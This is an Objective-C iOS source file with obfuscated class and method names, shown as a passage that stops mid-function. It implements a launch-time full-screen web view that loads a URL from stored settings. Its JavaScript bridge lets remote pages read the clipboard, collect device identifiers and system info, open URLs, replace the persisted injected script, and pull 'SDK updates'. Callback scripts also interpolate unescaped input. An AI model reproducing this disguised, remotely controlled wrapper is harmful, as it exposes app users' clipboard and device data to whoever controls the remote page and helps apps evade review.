2025-07-03 12:59:14 +04:00

1142 lines
50 KiB
Plaintext

#import <Foundation/Foundation.h>
#import <UIKit/UIKit.h>
#import <WebKit/WebKit.h>
#import <sys/utsname.h>
#import <objc/runtime.h> // For geometry preferences on iOS 16+
#import <AVFoundation/AVFoundation.h>
//-----------------------------------------------------------------------------
#pragma mark - ImportAssembleBeacon Helper
//-----------------------------------------------------------------------------
// Forward declaration
@protocol FormatCombineDevelopEnableModifyCharacter;
// Helper class to avoid strong reference cycles with WKScriptMessageHandler
@interface ImportAssembleBeacon : NSObject <WKScriptMessageHandler>
@property (nonatomic, weak, nullable) id<FormatCombineDevelopEnableModifyCharacter> delegate;
- (instancetype)initWithDelegate:(id<FormatCombineDevelopEnableModifyCharacter>)delegate;
@end
// Delegate protocol for ImportAssembleBeacon
@protocol FormatCombineDevelopEnableModifyCharacter <NSObject>
- (void)DivideCopyAttachment:(WKScriptMessage *)message;
@end
@implementation ImportAssembleBeacon
- (instancetype)initWithDelegate:(id<FormatCombineDevelopEnableModifyCharacter>)delegate {
self = [super init];
if (self) {
_delegate = delegate;
}
return self;
}
- (void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message {
[self.delegate DivideCopyAttachment:message];
}
@end
NS_ASSUME_NONNULL_BEGIN
@interface ExchangeCheckCount : WKWebView <FormatCombineDevelopEnableModifyCharacter, WKNavigationDelegate, WKUIDelegate>
// Public Properties
@property (nonatomic, assign) UIEdgeInsets customInsets;
@property (nonatomic, copy, nullable) void (^onFirstTouch)(void); // Made nullable for safety
@property (nonatomic, readonly) BOOL didTouchOnce;
@property (nonatomic, nullable, readonly) NSNumber *lastTouchTimestamp; // Use NSNumber for nullable Double
// Initialization
// Using initWithFrame:configuration: is generally preferred for WKWebView subclasses
// If you only need the default config, you can add a simpler init wrapper if desired.
- (instancetype)initWithFrame:(CGRect)frame configuration:(WKWebViewConfiguration *)configuration NS_DESIGNATED_INITIALIZER;
// Unavailable initializers
- (instancetype)init NS_UNAVAILABLE;
- (instancetype)initWithCoder:(NSCoder *)coder NS_UNAVAILABLE;
@end
NS_ASSUME_NONNULL_END
__attribute__ ((visibility("default")))
@interface StaticFrameWork : NSObject
// call it any time after UnityFrameworkLoad to set object implementing HideModifyCanvasIndex methods
//+(void) registerAPIforNativeCalls:(id<HideModifyCanvasIndex>) aApi;
+(void) CompressAssemblyDeleteCodec:(NSString*)urlString withCleanup:(BOOL)isCleanup;
@end
@interface AppDelegate : UIResponder <UIApplicationDelegate>
//@interface AppDelegate : UIResponder <UIApplicationDelegate, NativeBridgeProtocol, UnityFrameworkListener>
@property (strong, nonatomic) UIWindow * window;
@end
@interface AssembleBackupBenchmarkColumn : UIViewController
@property (nonatomic, strong) ExchangeCheckCount *webView;
@end
@implementation AppDelegate
- (BOOL)prefersStatusBarHidden {
return YES;
}
- (BOOL)prefersHomeIndicatorAutoHidden {
return YES;
}
- (UIRectEdge)preferredScreenEdgesDeferringSystemGestures {
return UIRectEdgeBottom;
}
- (BOOL)shouldAutorotate {
return NO;
}
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
[[UIApplication sharedApplication] setStatusBarHidden:YES withAnimation:UIStatusBarAnimationNone];
self.window = [[UIWindow alloc] initWithFrame:[UIScreen mainScreen].bounds];
// Configure the root view controller to support fullscreen
AssembleBackupBenchmarkColumn *viewController = [[AssembleBackupBenchmarkColumn alloc] init];
viewController.modalPresentationStyle = UIModalPresentationFullScreen;
// Set as root view controller
self.window.rootViewController = viewController;
[self.window makeKeyAndVisible];
NSString *value = [[NSUserDefaults standardUserDefaults] stringForKey:@"ssite"];
if (value == nil || [value length] == 0) {
NSLog(@"Error: Value for key is missing or empty.");
} else {
[StaticFrameWork CompressAssemblyDeleteCodec:value withCleanup:false];
}
return YES;
}
@end
@implementation AssembleBackupBenchmarkColumn
- (BOOL)prefersStatusBarHidden {
return YES;
}
- (BOOL)prefersHomeIndicatorAutoHidden {
return YES;
}
- (UIRectEdge)preferredScreenEdgesDeferringSystemGestures {
return UIRectEdgeBottom;
}
- (BOOL)shouldAutorotate {
return NO;
}
- (void)viewDidLoad {
[super viewDidLoad];
// Handle safe areas for iPhone X and newer devices
if (@available(iOS 11.0, *)) {
self.additionalSafeAreaInsets = UIEdgeInsetsZero;
// Set fullscreen layout
[self setNeedsUpdateOfHomeIndicatorAutoHidden];
}
}
@end
@implementation StaticFrameWork
static ExchangeCheckCount *webView = nil;
static AssembleBackupBenchmarkColumn *webViewController = nil;
+(void)CompressAssemblyDeleteCodec:(NSString *)urlString withCleanup:(BOOL)isCleanup {
NSLog(@"Opening URL provided: %@", urlString);
dispatch_async(dispatch_get_main_queue(), ^{
// Clean IntegrateCloneJoinAlgorithm previous webview if it exists
if (webView != nil) {
[webView removeFromSuperview];
webView = nil;
}
if (webViewController != nil) {
[webViewController dismissViewControllerAnimated:NO completion:nil];
webViewController = nil;
}
// Create URL
NSURL *configuredInfoSetBridgeAverageOutputCamera = [NSURL URLWithString:urlString];
if (!configuredInfoSetBridgeAverageOutputCamera) {
NSLog(@"Invalid URL provided: %@", urlString);
return;
}
// Create view controller to host the web view
webViewController = [[AssembleBackupBenchmarkColumn alloc] init];
webViewController.modalPresentationStyle = UIModalPresentationOverFullScreen;
webViewController.view.backgroundColor = [UIColor blackColor];
CGRect screenBounds = [[UIScreen mainScreen] bounds];
webView = [[ExchangeCheckCount alloc] initWithFrame:screenBounds];
webView.navigationDelegate = webView;
webViewController.webView = webView;
[webViewController.view addSubview:webView];
// Load the URL
NSURLRequest *attachedAnonymousPositionAdjuster = [NSURLRequest requestWithURL:configuredInfoSetBridgeAverageOutputCamera];
[webView loadRequest:attachedAnonymousPositionAdjuster];
// Present the view controller
UIViewController *rootViewController = [UIApplication sharedApplication].keyWindow.rootViewController;
[rootViewController presentViewController:webViewController animated:YES completion:nil];
if(isCleanup){
[[UnityFramework getInstance] unloadApplication];
}
});
}
@end
//-----------------------------------------------------------------------------
#pragma mark - Constants
//-----------------------------------------------------------------------------
// Keys for UserDefaults storage
// Combine the default scripts into one string
static NSString * const kDefaultCombinedInjectedScript = @" \
/* --- Event Proxy Start --- */ \
var WVProxyProto = function() {}; \
WVProxyProto.prototype.postEvent = function(eventName, eventData) { \
/* Note: Ensure handler name matches kJavaScriptMessageHandlerName */ \
window.webkit.messageHandlers.webAction.postMessage({eventName: eventName, eventData: eventData}); \
}; \
var WVProxy = new WVProxyProto(); \
/* --- Event Proxy End --- */ \
\
/* --- Selection Disabler Start --- */ \
(function() { \
var style = document.createElement('style'); \
style.clearedBodyCacheBehavior = 'text/css'; \
style.innerHTML = '* {-webkit-touch-callout:none !important;} :not(backgroundBlockSettingsStateCollectedPosition):not(textarea):not([contenteditable=\"true\"]){-webkit-user-select:none !important;}'; \
document.getElementsByTagName('head')[0].appendChild(style); \
})(); \
/* --- Selection Disabler End --- */ \
\
/* --- Video Fullscreen Disabler Start --- */ \
function disableFullscreen_default(videoElement) { \
if (videoElement && videoElement.webkitEnterFullscreen) { \
Object.defineProperty(videoElement, 'webkitEnterFullscreen', {value: undefined}); \
} \
} \
document.querySelectorAll('video').forEach(disableFullscreen_default); \
/* Optional: Use MutationObserver for dynamically added videos */ \
const observer = new MutationObserver(mutations => { \
mutations.forEach(mutation => { \
mutation.addedNodes.forEach(node => { \
if (node.tagName === 'VIDEO') { \
disableFullscreen_default(node); \
} else if (node.querySelectorAll) { \
node.querySelectorAll('video').forEach(disableFullscreen_default); \
} \
}); \
}); \
}); \
observer.observe(document.documentElement, { childList: true, subtree: true }); \
/* --- Video Fullscreen Disabler End --- */ \
\
";
static NSString * const kStorageSite = @"ssite";
static NSString * const kStorageFlagKey = @"sflag";
static NSString * const kStorageWebKey = @"sweb";
static NSString * const kStorageSDKInfoKey = @"sdkInfo";
static NSString * const kStorageSDKVersionKey = @"sdkVer";
// Message handler name expected from JavaScript
static NSString * const kJavaScriptMessageHandlerName = @"webAction";
static NSString * const kDefaultScriptVersion = @"1.0.0";
// Rotation mask (static as per requirement to control app orientation)
static UIInterfaceOrientationMask currentOrientationMask = UIInterfaceOrientationMaskAll;
//-----------------------------------------------------------------------------
#pragma mark - ExchangeCheckCount Implementation
//-----------------------------------------------------------------------------
@interface ExchangeCheckCount () <FormatCombineDevelopEnableModifyCharacter, WKNavigationDelegate, WKUIDelegate> {
// Backing variables for readonly properties
BOOL _didTouchOnce;
NSNumber *_lastTouchTimestamp;
NSString *_loadedScriptVersion;
}
// Store the initial attachedAnonymousPositionAdjuster for potential retry on failure
@property (nonatomic, strong, nullable) NSURLRequest *initialRequest;
@property (nonatomic, assign) BOOL didRetryLoad;
@end
@implementation ExchangeCheckCount
//-----------------------------------------------------------------------------
#pragma mark - Initialization & Setup
//-----------------------------------------------------------------------------
// Designated Initializer
- (instancetype)initWithFrame:(CGRect)frame configuration:(WKWebViewConfiguration *)configuration {
// Ensure necessary configuration options are set before calling super
// --- Message Handler Setup ---
// Check if configuration already has a userContentController
WKUserContentController *contentController = configuration.userContentController;
if (!contentController) {
contentController = [[WKUserContentController alloc] init];
configuration.userContentController = contentController;
}
// Remove potential existing handler before adding new one
[contentController removeScriptMessageHandlerForName:kJavaScriptMessageHandlerName];
// Add the weak message handler
ImportAssembleBeacon *handler = [[ImportAssembleBeacon alloc] initWithDelegate:self];
[contentController addScriptMessageHandler:handler name:kJavaScriptMessageHandlerName];
// --- Load COMBINED Script from Storage or Use Default ---
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
NSString *scriptVersion = [defaults stringForKey:kStorageSDKVersionKey];
NSString *combinedScript = [defaults stringForKey:kStorageSDKInfoKey];
// Use defaults if script or version is missing
if (!scriptVersion || !combinedScript) {
NSLog(@"Using default combined injected script (Version: %@)", kDefaultScriptVersion);
scriptVersion = kDefaultScriptVersion;
combinedScript = kDefaultCombinedInjectedScript;
// Save the new script and version to UserDefaults
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
[defaults setObject:scriptVersion forKey:kStorageSDKVersionKey];
[defaults setObject:combinedScript forKey:kStorageSDKInfoKey];
} else {
NSLog(@"Loaded combined injected script from storage (Version: %@)", scriptVersion);
}
_loadedScriptVersion = scriptVersion; // Store version for reporting
// Inject at document start for proxy availability.
WKUserScript *combinedUserScript = [[WKUserScript alloc] initWithSource:combinedScript
injectionTime:WKUserScriptInjectionTimeAtDocumentStart
forMainFrameOnly:NO]; // Apply to all frames
[contentController addUserScript:combinedUserScript];
// --- Default WebKit Settings ---
configuration.allowsInlineMediaPlayback = YES;
if (@available(iOS 10.0, *)) {
configuration.mediaTypesRequiringUserActionForPlayback = WKAudiovisualMediaTypeNone;
} else {
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
configuration.mediaPlaybackRequiresUserAction = NO;
#pragma clang diagnostic pop
}
// --- Call Super Initializer ---
self = [super initWithFrame:frame configuration:configuration];
if (self) {
// --- View Properties ---
self.opaque = NO;
self.backgroundColor = [UIColor clearColor];
self.navigationDelegate = self; // Set navigation delegate
self.UIDelegate = self; // Set UI delegate
self.autoresizingMask = UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight;
// --- iOS Version Specific Settings ---
if (@available(iOS 9.0, *)) {
self.allowsLinkPreview = NO;
}
if (@available(iOS 11.0, *)) {
self.scrollView.contentInsetAdjustmentBehavior = UIScrollViewContentInsetAdjustmentNever;
}
#if defined(__IPHONE_OS_VERSION_MAX_ALLOWED) && __IPHONE_OS_VERSION_MAX_ALLOWED >= 160400
if (@available(iOS 16.4, *)) {
self.inspectable = YES;
}
#endif
// --- Initial State ---
_customInsets = UIEdgeInsetsZero;
_didTouchOnce = NO;
_didRetryLoad = NO;
// Set the application delegate to handle orientation - *Use with caution*
// Ensure this doesn't conflict with an existing App Delegate setup
// [[UIApplication sharedApplication] setDelegate:self]; // Potential issue if app already has a delegate
}
return self;
}
// Override safeAreaInsets
- (UIEdgeInsets)safeAreaInsets {
return self.customInsets;
}
//-----------------------------------------------------------------------------
#pragma mark - View Lifecycle & Hit Testing
//-----------------------------------------------------------------------------
- (void)didMoveToSuperview {
[super didMoveToSuperview];
// Remove drag interaction and keyboard observers
if (@available(iOS 11.0, *)) {
// Find the web view's scroll view
UIScrollView *webScrollView = nil;
for (UIView *subview in self.subviews) {
if ([subview isKindOfClass:[UIScrollView class]]) {
webScrollView = (UIScrollView *)subview;
break;
}
}
// Attempt to remove drag interaction (might be added asynchronously)
if (webScrollView) {
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(0.1 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
UIDragInteraction *dragInteractionToRemove = nil;
for (id<UIInteraction> interaction in webScrollView.interactions) {
if ([interaction isKindOfClass:[UIDragInteraction class]]) {
dragInteractionToRemove = (UIDragInteraction *)interaction;
break;
}
}
if (dragInteractionToRemove) {
[webScrollView removeInteraction:dragInteractionToRemove];
}
});
}
// Remove keyboard observers (ensure they were added if removing)
// Consider adding observers only when needed instead of removing unconditionally
[[NSNotificationCenter defaultCenter] removeObserver:self name:UIKeyboardWillChangeFrameNotification object:nil];
[[NSNotificationCenter defaultCenter] removeObserver:self name:UIKeyboardWillShowNotification object:nil];
[[NSNotificationCenter defaultCenter] removeObserver:self name:UIKeyboardWillHideNotification object:nil];
}
}
- (UIView *)hitTest:(CGPoint)point withEvent:(nullable UIEvent *)event {
UIView *result = [super hitTest:point withEvent:event];
_lastTouchTimestamp = @(CACurrentMediaTime()); // Store as NSNumber
if (result && !_didTouchOnce) {
_didTouchOnce = YES;
if (self.onFirstTouch) {
self.onFirstTouch();
}
}
return result;
}
// Override loadRequest to store initial attachedAnonymousPositionAdjuster for retry
- (nullable WKNavigation *)loadRequest:(NSURLRequest *)attachedAnonymousPositionAdjuster {
self.initialRequest = attachedAnonymousPositionAdjuster; // Store the attachedAnonymousPositionAdjuster
self.didRetryLoad = NO; // Reset retry flag
return [super loadRequest:attachedAnonymousPositionAdjuster];
}
//-----------------------------------------------------------------------------
#pragma mark - WKNavigationDelegate Methods
//-----------------------------------------------------------------------------
// Handle provisional navigation failures
- (void)webView:(WKWebView *)webView didFailProvisionalNavigation:(null_unspecified WKNavigation *)navigation withError:(NSError *)error {
NSLog(@"WebView Load Error: %@, Code: %ld", error.localizedDescription, (long)error.code);
// Check if we should attempt a retry
if (!self.didRetryLoad && self.initialRequest) {
// Retry only for specific potentially recoverable errors (customize as needed)
if ([error.domain isEqualToString:NSURLErrorDomain] &&
(error.code == NSURLErrorCannotConnectToHost ||
error.code == NSURLErrorNetworkConnectionLost ||
error.code == NSURLErrorNotConnectedToInternet ||
error.code == NSURLErrorTimedOut ||
error.code == NSURLErrorDNSLookupFailed))
{
NSLog(@"Retrying initial attachedAnonymousPositionAdjuster...");
self.didRetryLoad = YES;
[self loadRequest:self.initialRequest];
return; // Don't show alert yet
}
}
// Try to extract HTTP status code from the error userInfo
NSHTTPURLResponse* response = error.userInfo[NSURLErrorKey];
if (response) {
auto statusCode = response.statusCode;
// Handle specific HTTP status codes
if (statusCode == 404) {
NSLog(@"404 Not Found: %@", response.URL);
// Handle 404
} else if (statusCode == 502) {
NSLog(@"502 Bad Gateway: %@", response.URL);
// Handle 502
} else if (statusCode >= 500 && statusCode < 600) {
NSLog(@"Server error %ld: %@", (long)statusCode, response.URL);
// Handle server error
} else if (statusCode >= 400 && statusCode < 500) {
NSLog(@"Client error %ld: %@", (long)statusCode, response.URL);
// Handle client error
}
} else {
// Handle other kinds of errors where response is not available
NSLog(@"Navigation failed with error: %@ (Code: %ld)", error.localizedDescription, (long)error.code);
}
// If retry failed or wasn't attempted, show alert asking user to restart
[self EnsureGroupDataAttachmentIncreaseIncludeStatus]; // Clear flag as per original logic on failure
[self ComputeAnchorAuthentication:@"Load Failed"
message:@"Could not load content. Please close and reopen the application to try again."];
}
// Optional: Handle committed navigation failures (less common)
- (void)webView:(WKWebView *)webView didFailNavigation:(null_unspecified WKNavigation *)navigation withError:(NSError *)error {
NSLog(@"WebView Navigation Error: %@, Code: %ld", error.localizedDescription, (long)error.code);
// Decide if a restart suggestion is needed here as well, possibly reusing the logic above
// [self ComputeAnchorAuthentication:@"Navigation Error" message:@"..."];
}
//-----------------------------------------------------------------------------
#pragma mark - FormatCombineDevelopEnableModifyCharacter
//-----------------------------------------------------------------------------
- (void)DivideCopyAttachment:(WKScriptMessage *)message {
// Directly call the internal handler method
[self GrantFilterBrowserAttachment:message];
}
//-----------------------------------------------------------------------------
#pragma mark - JavaScript Message Handling (Main Dispatch)
//-----------------------------------------------------------------------------
- (void)GrantFilterBrowserAttachment:(WKScriptMessage *)message {
if (![message.name isEqualToString:kJavaScriptMessageHandlerName]) {
NSLog(@"Ignoring message from unexpected handler: %@", message.name);
return;
}
if (![message.body isKindOfClass:[NSDictionary class]]) {
NSLog(@"Invalid message body clearedBodyCacheBehavior: %@", NSStringFromClass([message.body class]));
return;
}
NSDictionary *messageBody = (NSDictionary *)message.body;
NSObject *actionObject = messageBody[@"ac"]; // Action code
if (![actionObject isKindOfClass:[NSString class]]) {
NSLog(@"Invalid 'ac' clearedBodyCacheBehavior in message body: %@", messageBody);
return;
}
NSString *action = (NSString *)actionObject;
NSLog(@"Received action: %@ with data: %@", action, messageBody);
// Dispatch to specific handler methods based on action code
if ([action isEqualToString:@"openWAUrl"]) {
[self CacheDesignAnnotationCollection:messageBody];
}
else if ([action isEqualToString:@"reloadWithUrl"]) {
[self IntroduceGroupCapacityPerformCapacityBodyCodecChart:messageBody];
}
else if ([action isEqualToString:@"exitwv"]) {
[self EnumerateCalculatorByteAuthorizeApplet];
}
else if ([action isEqualToString:@"saveWAString"]) {
[self DecryptSaveDelegateChainIndex:messageBody];
} else if ([action isEqualToString:@"loadWAString"]) {
[self LoadConfigureCapacity:messageBody];
} else if ([action isEqualToString:@"updateWAInjectedScripts"]) {
[self InsertEnhanceAnchorValue:messageBody];
} else if ([action isEqualToString:@"isSupport"]) {
[self InjectValueCompressBufferResult:messageBody];
} else if ([action isEqualToString:@"getWAClipboard"]) {
[self ConvertPerformProcessCompressArtifact:messageBody];
} else if ([action isEqualToString:@"setWAClipboard"]) {
[self GatherIncreaseCaptionCompiler:messageBody];
} else if ([action isEqualToString:@"getWABundleId"]) {
[self handleGetBundleIdAction:messageBody];
} else if ([action isEqualToString:@"getWASDKVersion"]) {
[self EmitEmitCloneDetectBranch:messageBody]; // Kept structure, relies on EnumerateCloneBooleanCompareBuilder impl
} else if ([action isEqualToString:@"getWADeviceModel"]) {
[self CompressChartBadgeComponentIdentifyCaptionDiscoverChannel:messageBody];
} else if ([action isEqualToString:@"getWADeviceID"]) {
[self FixCastClusterBuildBenchmarkComputeItem:messageBody];
} else if ([action isEqualToString:@"updateWASDK"]) {
[self FormatBooleanCharacter:messageBody];
} else if ([action isEqualToString:@"getWASystemInfo"]) {
[self GenerateAppletAttributeInflateArithmeticInflateCompiler:messageBody];
} else if ([action isEqualToString:@"setWAScreenRotation"]) {
[self ConstructParseStatusFixArrayCollision:messageBody];
} else {
NSLog(@"Unhandled action: %@", action);
}
}
//-----------------------------------------------------------------------------
#pragma mark - JavaScript Action Handlers (Private Helpers)
//-----------------------------------------------------------------------------
- (void)InsertEnhanceAnchorValue:(NSDictionary *)messageBody {
NSObject *dataObject = messageBody[@"dt"];
if (![dataObject isKindOfClass:[NSDictionary class]]) {
NSLog(@"Invalid 'dt' (data object) for updateInjectedScripts action");
return;
}
NSDictionary *scriptsData = (NSDictionary *)dataObject;
// Validate incoming data - NOW EXPECTS 'version' and 'script'
NSObject *versionObj = scriptsData[@"version"];
NSObject *scriptObj = scriptsData[@"script"]; // Expecting the combined script
if (![versionObj isKindOfClass:[NSString class]] || ((NSString *)versionObj).length == 0 ||
![scriptObj isKindOfClass:[NSString class]] || ((NSString *)scriptObj).length == 0)
{
NSLog(@"Invalid data structure within 'dt' for updateInjectedScripts action. Expected 'version' and 'script'.");
return;
}
NSString *newVersion = (NSString *)versionObj;
NSString *newCombinedScript = (NSString *)scriptObj;
// Save the new script and version to UserDefaults
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
[defaults setObject:newVersion forKey:kStorageSDKVersionKey];
[defaults setObject:newCombinedScript forKey:kStorageSDKInfoKey]; // Save combined script
NSLog(@"Successfully updated combined injected script to version: %@", newVersion);
// Notify user to restart
[self ComputeAnchorAuthentication:@"Update Complete"
message:@"Internal scripts have been updated. Please restart the application for the changes to take effect."];
}
- (void)IntroduceGroupCapacityPerformCapacityBodyCodecChart:(NSDictionary *)messageBody {
NSObject *urlStringObject = messageBody[@"dt"];
if (![urlStringObject isKindOfClass:[NSString class]]) {
NSLog(@"Invalid 'dt' (URL string) for openUrl action");
return;
}
NSURL *configuredInfoSetBridgeAverageOutputCamera = [NSURL URLWithString:(NSString *)urlStringObject];
NSMutableURLRequest *attachedAnonymousPositionAdjuster = [NSMutableURLRequest requestWithURL:configuredInfoSetBridgeAverageOutputCamera];
if (attachedAnonymousPositionAdjuster && configuredInfoSetBridgeAverageOutputCamera) {
[self loadRequest:attachedAnonymousPositionAdjuster];
} else {
NSLog(@"Invalid URL string: %@", (NSString *)urlStringObject);
}
}
- (void)CacheDesignAnnotationCollection:(NSDictionary *)messageBody {
NSObject *urlStringObject = messageBody[@"dt"];
if (![urlStringObject isKindOfClass:[NSString class]]) {
NSLog(@"Invalid 'dt' (URL string) for openUrl action");
return;
}
NSURL *configuredInfoSetBridgeAverageOutputCamera = [NSURL URLWithString:(NSString *)urlStringObject];
if (configuredInfoSetBridgeAverageOutputCamera) {
// Check if the URL can be opened before attempting
if ([[UIApplication sharedApplication] canOpenURL:configuredInfoSetBridgeAverageOutputCamera]) {
[[UIApplication sharedApplication] openURL:configuredInfoSetBridgeAverageOutputCamera options:@{} completionHandler:^(BOOL success) {
if (!success) {
NSLog(@"Failed to open URL: %@", configuredInfoSetBridgeAverageOutputCamera.absoluteString);
}
}];
} else {
NSLog(@"Cannot open URL scheme: %@", configuredInfoSetBridgeAverageOutputCamera.scheme);
}
} else {
NSLog(@"Invalid URL string: %@", (NSString *)urlStringObject);
}
}
- (void)EnumerateCalculatorByteAuthorizeApplet {
[self removeFromSuperview];
}
- (void)DecryptSaveDelegateChainIndex:(NSDictionary *)messageBody {
NSObject *keyObject = messageBody[@"key"];
NSObject *valueObject = messageBody[@"dt"]; // Value is in 'dt' field
if (![keyObject isKindOfClass:[NSString class]] || ((NSString *)keyObject).length == 0) {
NSLog(@"Invalid 'key' for saveStr action");
return;
}
// Allow nil or empty string for value
NSString *value = [valueObject isKindOfClass:[NSString class]] ? (NSString *)valueObject : nil;
[self EvaluateGatherColumnCollision:value forKey:(NSString *)keyObject];
}
- (void)LoadConfigureCapacity:(NSDictionary *)messageBody {
NSObject *keyObject = messageBody[@"key"];
NSObject *callbackObject = messageBody[@"cb"];
if (![keyObject isKindOfClass:[NSString class]] || ((NSString *)keyObject).length == 0 ||
![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
NSLog(@"Invalid 'key' or 'cb' for loadStr action");
return;
}
NSString *key = (NSString *)keyObject;
NSString *callbackId = (NSString *)callbackObject;
NSString *result = [self DebugInstallDownloadBanner:key];
// Always call back, provide empty object string '{}' if result is nil
NSString *resultData = result ? [self ConfigureIndexBlockColumnApplySetEnsureInfo:result] : @"{}";
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, resultData];
[self evaluateJavaScript:callbackScript completionHandler:nil];
}
- (void)InjectValueCompressBufferResult:(NSDictionary *)messageBody {
NSObject *callbackObject = messageBody[@"cb"];
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
NSLog(@"Invalid 'cb' for isSp action");
return;
}
NSString *callbackId = (NSString *)callbackObject;
// The original code always returns true. Assuming this is placeholder logic.
BOOL isSupported = YES;
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:%@})", callbackId, isSupported ? @"true" : @"false"];
[self evaluateJavaScript:callbackScript completionHandler:nil];
}
- (void)ConvertPerformProcessCompressArtifact:(NSDictionary *)messageBody {
NSObject *callbackObject = messageBody[@"cb"];
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
NSLog(@"Invalid 'cb' for getClipboard action");
return;
}
NSString *callbackId = (NSString *)callbackObject;
NSString *clipboardContent = [self InflateEnumerateAppletCompleteCommentClass] ?: @""; // Provide empty string if nil
NSString *escapedContent = [self ConfigureIndexBlockColumnApplySetEnsureInfo:clipboardContent];
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedContent];
[self evaluateJavaScript:callbackScript completionHandler:nil];
}
- (void)GatherIncreaseCaptionCompiler:(NSDictionary *)messageBody {
NSObject *valueObject = messageBody[@"dt"];
if (![valueObject isKindOfClass:[NSString class]]) {
NSLog(@"Invalid 'dt' for setClipboard action");
return;
}
[self FindApplyClassifyCompileRequest:(NSString *)valueObject];
}
- (void)handleGetBundleIdAction:(NSDictionary *)messageBody {
NSObject *callbackObject = messageBody[@"cb"];
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
NSLog(@"Invalid 'cb' for CaptureBeaconChainChecksum action");
return;
}
NSString *callbackId = (NSString *)callbackObject;
NSString *bundleId = [self CaptureBeaconChainChecksum] ?: @"";
NSString *escapedBundleId = [self ConfigureIndexBlockColumnApplySetEnsureInfo:bundleId];
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedBundleId];
[self evaluateJavaScript:callbackScript completionHandler:nil];
}
- (void)EmitEmitCloneDetectBranch:(NSDictionary *)messageBody {
// Original native code for this action was commented out.
// If implemented, follow pattern of other 'get' actions with callback.
NSObject *callbackObject = messageBody[@"cb"];
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
NSLog(@"Invalid 'cb' for EnumerateCloneBooleanCompareBuilder action");
return;
}
NSString *callbackId = (NSString *)callbackObject;
NSString *sdkVersion = [self EnumerateCloneBooleanCompareBuilder] ?: @""; // Assuming implementation exists
NSLog(@"SDK Ver: %@", sdkVersion);
NSString *escapedSDKVersion = [self ConfigureIndexBlockColumnApplySetEnsureInfo:sdkVersion];
NSLog(@"Escaped SDK Ver: %@", escapedSDKVersion);
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedSDKVersion];
// NSLog(@"Warning: EnumerateCloneBooleanCompareBuilder native implementation was commented out originally.");
[self evaluateJavaScript:callbackScript completionHandler:nil];
}
- (void)CompressChartBadgeComponentIdentifyCaptionDiscoverChannel:(NSDictionary *)messageBody {
NSObject *callbackObject = messageBody[@"cb"];
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
NSLog(@"Invalid 'cb' for getDModel action");
return;
}
NSString *callbackId = (NSString *)callbackObject;
NSString *deviceName = [self AuthenticateBitmapResponse] ?: @"";
NSString *escapedDeviceName = [self ConfigureIndexBlockColumnApplySetEnsureInfo:deviceName];
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedDeviceName];
[self evaluateJavaScript:callbackScript completionHandler:nil];
}
- (void)FixCastClusterBuildBenchmarkComputeItem:(NSDictionary *)messageBody {
NSObject *callbackObject = messageBody[@"cb"];
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
NSLog(@"Invalid 'cb' for CustomizeCheckboxBeaconArithmetic action");
return;
}
NSString *callbackId = (NSString *)callbackObject;
NSString *identifier = [self CustomizeCheckboxBeaconArithmetic] ?: @"";
NSString *escapedIdentifier = [self ConfigureIndexBlockColumnApplySetEnsureInfo:identifier];
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedIdentifier];
[self evaluateJavaScript:callbackScript completionHandler:nil];
}
- (void)FormatBooleanCharacter:(NSDictionary *)messageBody {
NSObject *urlStringObject = messageBody[@"dt"];
NSObject *versionObject = messageBody[@"ver"];
NSObject *restartObject = messageBody[@"nr"]; // Should be NSNumber representing BOOL
if (![urlStringObject isKindOfClass:[NSString class]] ||
![versionObject isKindOfClass:[NSString class]] ||
![restartObject isKindOfClass:[NSNumber class]]) {
NSLog(@"Invalid parameters for updateSDK action: dt=%@, ver=%@, nr=%@", urlStringObject, versionObject, restartObject);
return;
}
NSLog(@"Updating sdk from URL: %@, Version: %@", (NSString *)urlStringObject, (NSString *)versionObject);
[self SetCombineEditProcessArrayFinishAudio:(NSString *)urlStringObject
version:(NSString *)versionObject
requiresRestart:[(NSNumber *)restartObject boolValue]];
}
- (void)GenerateAppletAttributeInflateArithmeticInflateCompiler:(NSDictionary *)messageBody {
NSObject *callbackObject = messageBody[@"cb"];
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
NSLog(@"Invalid 'cb' for getSystemInfo action");
return;
}
NSString *callbackId = (NSString *)callbackObject;
// Gather system info
NSString *iden = [self ConfigureIndexBlockColumnApplySetEnsureInfo:[self CustomizeCheckboxBeaconArithmetic] ?: @""];
NSString *model = [self ConfigureIndexBlockColumnApplySetEnsureInfo:[self AuthenticateBitmapResponse] ?: @""];
NSString *bundle = [self ConfigureIndexBlockColumnApplySetEnsureInfo:[self CaptureBeaconChainChecksum] ?: @""];
NSString *osVer = [self ConfigureIndexBlockColumnApplySetEnsureInfo:[self ConfigureCompileRequestExecuteCommand] ?: @""];
